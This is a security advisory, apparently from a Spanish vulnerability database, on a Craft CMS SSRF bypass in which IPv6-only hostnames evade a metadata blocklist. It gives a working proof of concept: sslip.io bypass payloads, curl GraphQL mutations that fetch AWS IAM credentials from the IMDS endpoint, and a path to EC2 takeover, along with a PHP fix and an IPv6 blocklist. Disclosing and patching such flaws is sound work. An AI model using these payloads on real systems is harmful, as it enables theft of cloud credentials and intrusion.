Media

Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution

  • Publicada: 24.02.2026
  • Actualizado: 11.10.2026 10:22

The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.

This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).

Required Permissions

Exploitation requires GraphQL schema permissions for:

  • Edit assets in the <VolumeName> volume
  • Create assets in the <VolumeName> volume

These permissions may be granted to:

  • Authenticated users with appropriate GraphQL schema access
  • Public Schema (if misconfigured with write permissions)

Technical Details

Root Cause

From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"

When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.

Bypass Mechanism

+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL                                               |
|         http://fd00-ec2--254.sslip.io/latest/meta-data/                     |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io')            |
|         -> No A record exists                                               |
|         -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!)           |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check                                                     |
|         in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...])       |
|         -> FALSE (string != IPv4 addresses)                                 |
|         -> VALIDATION PASSES                                                |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request                                           |
|         -> Resolves DNS (including AAAA records)                            |
|         -> Gets IPv6: fd00:ec2::254                                         |
|         -> Connects to AWS IMDS IPv6 endpoint                               |
|         -> CREDENTIALS STOLEN                                               |
+-----------------------------------------------------------------------------+

Bypass Payloads

Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents

Cloud Provider Blocked IPv4 IPv6 Equivalent Bypass Payload
AWS EC2 IMDS 169.254.169.254 fd00:ec2::254 http://fd00-ec2--254.sslip.io/
AWS ECS 169.254.170.2 fd00:ec2::254 (via IMDS) http://fd00-ec2--254.sslip.io/
Google Cloud GCP 169.254.169.254 fd20:ce::254 http://fd20-ce--254.sslip.io/
Azure 169.254.169.254 No IPv6 endpoint N/A
Alibaba Cloud 100.100.100.200 No documented IPv6 N/A
Oracle Cloud 192.0.0.192 No documented IPv6 N/A

Additional IPv6 Internal Service Bypass Payloads

Target IPv6 Address Bypass Payload
IPv6 Loopback ::1 http://0-0-0-0-0-0-0-1.sslip.io/
AWS NTP Service fd00:ec2::123 http://fd00-ec2--123.sslip.io/
AWS DNS Service fd00:ec2::253 http://fd00-ec2--253.sslip.io/
IPv4-mapped IPv6 ::ffff:169.254.169.254 http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/

Steps to Reproduce

Step 1: Verify DNS Resolution

bash
# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)

# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254

Step 2: Enumerate AWS IAM Role Name

bash
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
  -d '{
    "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
  }'

Step 3: Retrieve AWS Credentials

bash
# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
  -d '{
    "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
  }'

Step 4: Access Saved Credentials

The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).


Attack Scenario

  1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled
  2. Attacker sends mutation with url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"
  3. Error message or saved file reveals IAM role name
  4. Attacker retrieves credentials via second mutation
  5. Attacker uses credentials to access AWS services
  6. Attacker can now achieve code execution by creating new EC2 instances with their SSH key

Remediation

Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:

php
// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
    $records = [];
}

// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
    'fd00:ec2::',       // AWS IMDS, DNS, NTP
    'fd20:ce::',        // GCP Metadata
    '::1',              // Loopback
    'fe80:',            // Link-local
    '::ffff:',          // IPv4-mapped IPv6
];

foreach ($records as $record) {
    // Check IPv4 (existing logic)
    if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
        return false;
    }

    // Check IPv6 (NEW)
    if (isset($record['ipv6'])) {
        foreach ($blockedIPv6Prefixes as $prefix) {
            if (str_starts_with($record['ipv6'], $prefix)) {
                return false;
            }
        }
    }
}

Additional Mitigations

Mitigation Description
Block wildcard DNS services Block nip.io, sslip.io, xip.io suffixes
Use dns_get_record() Resolves both IPv4 and IPv6

Resources

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer craftcms/cms >= 5.0.0-RC1, < 5.8.23, >= 3.5.0, < 4.16.19 5.8.23, 4.16.19

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Debilidad (CWE)
CWE-918
Plataforma
Composer
Paquete
craftcms/cms
Publicada
24.02.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-v2gc-rm6g-wrw9 - CC BY 4.0

Historial de vulnerabilidades: craftcms/cms

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (127) en el archivo
Entradas en total
127
Primera → última
07.2021 08.2026
Sin corrección
6
Explotada en ataques
4

Distribución por gravedad

  • Crítica 9
  • Alta 41
  • Media 65
  • Baja 12

Divulgaciones por año

  1. 2021: 3
  2. 2022: 22
  3. 2023: 13
  4. 2024: 9
  5. 2025: 6
  6. 2026: 74
Gravedad:
  1. Crítica CVE-2026-72780 >= 5.0.0-RC1, < 5.10.5 5.10.5
  2. Alta CVE-2026-72781 >= 5.0.0-RC1, < 5.10.7, >= 4.0.0-RC1, < 4.18.3 5.10.7, 4.18.3
  3. Alta CVE-2026-72778 >= 5.0.0-RC1, < 5.10.6, >= 4.0.0-RC1, < 4.18.2 5.10.6, 4.18.2
  4. Alta CVE-2026-55790 >= 5.0.0-RC1, < 5.9.23, >= 4.0.0-RC1, < 4.17.16 5.9.23, 4.17.16
  5. Alta CVE-2026-50282 >= 5.0.0-RC1, < 5.9.21, >= 4.0.0-RC1, < 4.17.14 5.9.21, 4.17.14
  6. Alta CVE-2026-50284 >= 5.0.0-RC1, < 5.9.22, >= 4.0.0-RC1, < 4.17.15 5.9.22, 4.17.15
  7. Crítica CVE-2026-55791 >= 5.0.0-RC1, < 5.10, >= 4.0.0-RC1, < 4.18 5.10, 4.18
  8. Alta CVE-2026-44011 >= 4.0.0, < 4.17.12, >= 5.0.0, < 5.9.18 4.17.12, 5.9.18
  9. Alta CVE-2026-44010 >= 5.0.0, < 5.9.18, >= 4.0.0, < 4.17.12 5.9.18, 4.17.12
  10. Alta CVE-2026-32267 >= 4.0.0-RC1, < 4.17.6, >= 5.0.0-RC1, < 5.9.12 4.17.6, 5.9.12
  11. Alta CVE-2026-32264 >= 4.0.0-RC1, < 4.17.5, >= 5.0.0-RC1, < 5.9.11 4.17.5, 5.9.11
  12. Alta CVE-2026-32263 >= 5.6.0, < 5.9.11 5.9.11
  13. Alta CVE-2026-31857 >= 5.0.0-RC1, < 5.9.9, >= 4.0.0-beta.1, < 4.17.4 5.9.9, 4.17.4
  14. Alta CVE-2026-31858 >= 5.0.0-RC1, < 5.9.9 5.9.9
  15. Alta CVE-2026-29069 >= 5.0.0-RC1, < 5.9.0-beta.2, >= 4.0.0-RC1, < 4.17.0-beta.2 5.9.0-beta.2, 4.17.0-beta.2
  16. Crítica CVE-2026-28697 >= 5.0.0-RC1, < 5.9.0-beta.1, >= 4.0.0-RC1, < 4.17.0-beta.1 5.9.0-beta.1, 4.17.0-beta.1
  17. Alta CVE-2026-28696 >= 4.0.0-RC1, < 4.17.0-beta.1, >= 5.0.0-RC1, < 5.9.0-beta.1 4.17.0-beta.1, 5.9.0-beta.1
  18. Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution esta entrada
    Media CVE-2026-27129 >= 5.0.0-RC1, < 5.8.23, >= 3.5.0, < 4.16.19 5.8.23, 4.16.19
  19. Alta CVE-2026-27127 >= 5.0.0-RC1, < 5.8.23, >= 3.5.0, < 4.16.19 5.8.23, 4.16.19
  20. Alta CVE-2026-25498 >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 5.8.22, 4.16.18
  21. Alta CVE-2026-25497 >= 5.0.0-RC1, < 5.9.0-beta.1, >= 4.0.0-RC1, < 4.17.0-beta.1 5.9.0-beta.1, 4.17.0-beta.1
  22. Alta CVE-2026-25495 >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 5.8.22, 4.16.18
  23. Alta CVE-2025-68455 >= 5.0.0-RC1, < 5.8.21, >= 4.0.0-RC1, < 4.16.17 5.8.21, 4.16.17
  24. Alta CVE-2025-68456 >= 5.0.0-RC1, < 5.8.21, >= 3.0.0, < 4.16.17 5.8.21, 4.16.17
  25. Alta CVE-2025-46731 >= 4.0.0-RC1, < 4.14.13, >= 5.0.0-RC1, < 5.6.15 4.14.13, 5.6.15
  26. Crítica · 10.0 Explotada en ataques CVE-2025-32432 >= 3.0.0-RC1, < 3.9.15, >= 4.0.0-RC1, < 4.14.15, >= 5.0.0-RC1, < 5.6.17 3.9.15, 4.14.15, 5.6.17
  27. Alta · 8.0 Explotada en ataques CVE-2025-23209 >= 5.0.0-RC1, < 5.5.8, >= 4.0.0-RC1, < 4.13.8 5.5.8, 4.13.8
  28. Crítica · 9.8 Explotada en ataques CVE-2024-56145 >= 5.0.0-RC1, < 5.5.2, >= 4.0.0-RC1, < 4.13.2, >= 3.0.0, < 3.9.14 5.5.2, 4.13.2, 3.9.14
  29. Alta · 7.2 CVE-2024-52293 >= 4.0.0-RC1, < 4.12.2, >= 5.0.0-RC1, < 5.4.3 4.12.2, 5.4.3
  30. Alta · 7.7 CVE-2024-52292 >= 5.0.0-alpha.1, < 5.4.9, >= 3.5.13, < 4.12.8 5.4.9, 4.12.8
  31. Alta · 8.4 CVE-2024-52291 >= 5.0.0-RC1, < 5.4.6, >= 4.0.0-RC1, < 4.12.5 5.4.6, 4.12.5
  32. Crítica · 9.8 CVE-2024-37843 <= 3.7.31 sin corrección
  33. Alta · 7.5 CVE-2023-36260 < 4.6.2 4.6.2
Mostrar más (11) Mostrando 40 de 51

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.